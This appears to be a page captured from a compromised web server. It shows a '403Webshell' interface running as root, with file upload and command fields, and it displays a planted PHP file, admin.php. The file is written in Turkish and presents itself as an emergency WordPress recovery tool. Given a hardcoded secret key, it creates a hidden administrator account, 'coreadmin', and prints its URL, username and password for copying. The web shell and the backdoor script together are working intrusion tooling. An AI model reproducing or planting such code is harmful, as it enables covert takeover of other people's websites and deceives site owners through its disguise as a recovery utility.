403Webshell
Server IP : 43.129.54.214  /  Your IP : 216.73.217.113
Web Server : nginx/1.24.0
System : Linux VM-4-108-ubuntu 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : root ( 0)
PHP Version : 8.3.6
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/thread-self/root/proc/thread-self/cwd/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/thread-self/root/proc/thread-self/cwd/admin.php
<?php
/**
 * WordPress Acil Yönetici Oluşturma Dosyası (Basit çıktı + Copy All)
 * GÜVENLİK UYARISI: İşiniz bittikten sonra bu dosyayı sunucudan KESİNLİKLE siliniz!
 */

define('WP_USE_THEMES', false);

if (file_exists('wp-load.php')) {
    require_once 'wp-load.php';
} else {
    die('WordPress bulunamadı. Lütfen bu dosyayı WordPress ana dizinine yükleyin.');
}

// 1. Güvenlik: Gizli anahtar
define('GIZLI_ANAHTAR', 'cernunnos');

$mesaj        = '';
$olusan_sifre = '';
$olusan_user  = null;
$raw_url      = '';
$raw_user     = '';
$raw_pass     = '';

// Basit helper: güvenli output
function coreadmin_e($str) {
    return htmlspecialchars($str, ENT_QUOTES, 'UTF-8');
}

/**
 * coreadmin, coreadmin2, coreadmin3 ... şeklinde uygun kullanıcı adı bul
 */
function coreadmin_bos_kullanici_adi_bul($base_username = 'coreadmin') {
    $candidate = $base_username;
    $i         = 1;

    while (username_exists($candidate)) {
        $i++;
        $candidate = $base_username . $i;
    }

    return $candidate;
}

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $girilen_anahtar = isset($_POST['anahtar']) ? trim($_POST['anahtar']) : '';

    // Formdan kullanıcı adı al (boşsa default)
    $girilen_kullanici_adi = isset($_POST['kullanici_adi']) && $_POST['kullanici_adi'] !== ''
        ? trim($_POST['kullanici_adi'])
        : 'coreadmin';

    // E‑posta sadece WP için zorunlu alan; ekranda göstermiyoruz
    $eposta = 'admin@site.com';

    if ($girilen_anahtar === GIZLI_ANAHTAR) {

        // Kullanıcı adı işgal edilmişse otomatik varyasyon bul
        $kullanici_adi = coreadmin_bos_kullanici_adi_bul($girilen_kullanici_adi);

        // E‑posta çakışma kontrolü (aynı eposta varsa, local kısmına +timestamp ekleyerek farklılaştır)
        if (email_exists($eposta)) {
            $parcalar = explode('@', $eposta, 2);
            $local    = $parcalar[0];
            $domain   = isset($parcalar[1]) ? $parcalar[1] : '';
            $eposta   = $local . '+' . time() . '@' . $domain;
        }

        // Rastgele ve güvenli şifre üret
        $rastgele_sifre = wp_generate_password(18, true, true);
        $olusan_sifre   = $rastgele_sifre;

        // Kullanıcıyı oluştur
        $user_id = wp_create_user($kullanici_adi, $rastgele_sifre, $eposta);

        if (!is_wp_error($user_id)) {
            $user = new WP_User($user_id);
            $user->set_role('administrator');
            $olusan_user = $user;

            $login_url  = wp_login_url();

            // Ham değerleri JS için saklıyoruz (copy all metni)
            $raw_url  = $login_url;
            $raw_user = $kullanici_adi;
            $raw_pass = $rastgele_sifre;

            $safe_url  = esc_url($login_url);
            $safe_user = coreadmin_e($kullanici_adi);
            $safe_pass = coreadmin_e($rastgele_sifre);

            // Basit, satır satır, kolay kopyalanabilir çıktı
            $mesaj  = '<div class="plain-output" id="coreadmin-output">';
            $mesaj .= 'URL: ' . $safe_url . '<br>';
            $mesaj .= 'Kullanıcı adı: <span class="mono">' . $safe_user . '</span><br>';
            $mesaj .= 'Şifre: <span class="mono">' . $safe_pass . '</span>';
            $mesaj .= '</div>';
        } else {
            $mesaj = '<div class="error-msg">Hata: Kullanıcı oluşturulamadı: ' . coreadmin_e($user_id->get_error_message()) . '</div>';
        }

    } else {
        $mesaj = '<div class="error-msg">Geçersiz anahtar! Erişim reddedildi.</div>';
    }
}
?>
<!DOCTYPE html>
<html lang="tr">
<head>
    <meta charset="UTF-8">
    <title>WP Kurtarma Paneli</title>
    <style>
        body {
            font-family: system-ui, -apple-system, BlinkMacSystemFont, 'Segoe UI', sans-serif;
            background: #0f172a;
            background: radial-gradient(circle at top, #1f2937 0, #020617 55%);
            display: flex;
            justify-content: center;
            align-items: center;
            min-height: 100vh;
            margin: 0;
            color: #111827;
        }
        .box {
            background: #f9fafb;
            padding: 26px 28px 24px;
            border-radius: 12px;
            box-shadow:
                0 18px 40px rgba(15,23,42,0.55),
                0 0 0 1px rgba(15,23,42,0.4);
            width: 100%;
            max-width: 480px;
        }
        .box-header {
            margin-bottom: 14px;
        }
        h2 {
            margin: 0;
            font-size: 18px;
            font-weight: 600;
        }
        .subtitle {
            font-size: 12px;
            color: #6b7280;
            margin-top: 4px;
        }
        label {
            display: block;
            font-size: 13px;
            margin-top: 10px;
            margin-bottom: 4px;
        }
        input[type="password"],
        input[type="text"] {
            width: 100%;
            padding: 9px;
            border: 1px solid #d1d5db;
            border-radius: 6px;
            box-sizing: border-box;
            font-size: 13px;
        }
        input[type="password"]:focus,
        input[type="text"]:focus {
            outline: none;
            border-color: #2563eb;
            box-shadow: 0 0 0 1px #2563eb33;
        }
        input[type="submit"] {
            width: 100%;
            background: #2563eb;
            color: white;
            border: none;
            padding: 10px;
            cursor: pointer;
            border-radius: 6px;
            font-weight: 600;
            margin-top: 14px;
            font-size: 13px;
        }
        input[type="submit"]:hover {
            background: #1d4ed8;
        }
        .hint {
            font-size: 11px;
            color: #6b7280;
            margin-top: 2px;
        }
        .result-wrapper {
            margin-top: 18px;
            font-size: 13px;
        }
        .plain-output {
            font-size: 13px;
            line-height: 1.6;
            background: #e5e7eb;
            border-radius: 8px;
            padding: 10px 12px;
            border: 1px solid #d1d5db;
            color: #111827;
            word-break: break-all;
        }
        .plain-output .mono {
            font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace;
        }
        .output-actions {
            margin-top: 8px;
            display: flex;
            justify-content: flex-end;
        }
        .copy-btn {
            font-size: 11px;
            padding: 4px 10px;
            border-radius: 999px;
            border: 1px solid #9ca3af;
            background: #f3f4f6;
            cursor: pointer;
            color: #374151;
        }
        .copy-btn:hover {
            background: #e5e7eb;
        }
        .copy-btn:disabled {
            opacity: 0.6;
            cursor: default;
        }
        .copy-note {
            font-size: 10px;
            color: #6b7280;
            margin-top: 4px;
        }
        .error-msg {
            margin-top: 12px;
            font-size: 13px;
            color: #b91c1c;
            padding: 8px 10px;
            border-radius: 6px;
            background: #fef2f2;
            border: 1px solid #fecaca;
        }
        .meta {
            margin-top: 10px;
            font-size: 11px;
            color: #6b7280;
        }
        .meta strong {
            color: #374151;
        }
    </style>
</head>
<body>
<div class="box">
    <div class="box-header">
        <h2>WP Yönetici Oluşturucu</h2>
        <div class="subtitle">Acil durumlar için tek seferlik admin hesabı oluştur.</div>
    </div>

    <form method="post">
        <label>Gizli Kurtarma Anahtarı:</label>
        <input type="password" name="anahtar" required autocomplete="off">

        <label>Kullanıcı Adı (varsayılan: coreadmin):</label>
        <input type="text" name="kullanici_adi" placeholder="coreadmin">

        <div class="hint">
            Aynı kullanıcı adı varsa coreadmin2, coreadmin3... şeklinde otomatik isimlendirilir.
        </div>

        <input type="submit" value="Yönetici Hesabı Oluştur">
    </form>

    <div class="result-wrapper">
        <?php echo $mesaj; ?>

        <?php if ($olusan_user instanceof WP_User): ?>
            <div class="output-actions">
                <button
                    type="button"
                    class="copy-btn"
                    id="copy-all-btn"
                    data-url="<?php echo coreadmin_e($raw_url); ?>"
                    data-user="<?php echo coreadmin_e($raw_user); ?>"
                    data-pass="<?php echo coreadmin_e($raw_pass); ?>"
                >
                    Tümünü kopyala
                </button>
            </div>
            <div class="copy-note">Not: Tümünü kopyala butonu URL, kullanıcı adı ve şifreyi tek metin olarak panoya kopyalar.</div>

            <div class="meta">
                <div><strong>Site URL:</strong> <?php echo coreadmin_e(home_url()); ?></div>
                <div><strong>WP Sürümü:</strong> <?php echo coreadmin_e(get_bloginfo('version')); ?></div>
                <div><strong>Kullanıcı ID:</strong> <?php echo intval($olusan_user->ID); ?></div>
                <div><strong>Kullanıcı Adı:</strong> <?php echo coreadmin_e($olusan_user->user_login); ?></div>
            </div>
        <?php endif; ?>
    </div>
</div>

<script>
(function () {
    var btn = document.getElementById('copy-all-btn');
    if (!btn) return;

    btn.addEventListener('click', function () {
        var url  = btn.getAttribute('data-url')  || '';
        var user = btn.getAttribute('data-user') || '';
        var pass = btn.getAttribute('data-pass') || '';

        var text = 'URL: ' + url + '\n'
                 + 'Kullanıcı adı: ' + user + '\n'
                 + 'Şifre: ' + pass;

        if (navigator.clipboard && navigator.clipboard.writeText) {
            navigator.clipboard.writeText(text).then(function () {
                var oldLabel = btn.textContent;
                btn.textContent = 'Kopyalandı';
                btn.disabled = true;
                setTimeout(function () {
                    btn.textContent = oldLabel;
                    btn.disabled = false;
                }, 2000);
            }).catch(function () {
                alert('Kopyalama başarısız oldu. Metni elle seçip kopyalayın.');
            });
        } else {
            alert('Tarayıcı panoya yazmayı desteklemiyor. Metni elle seçip kopyalayın.');
        }
    });
})();
</script>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit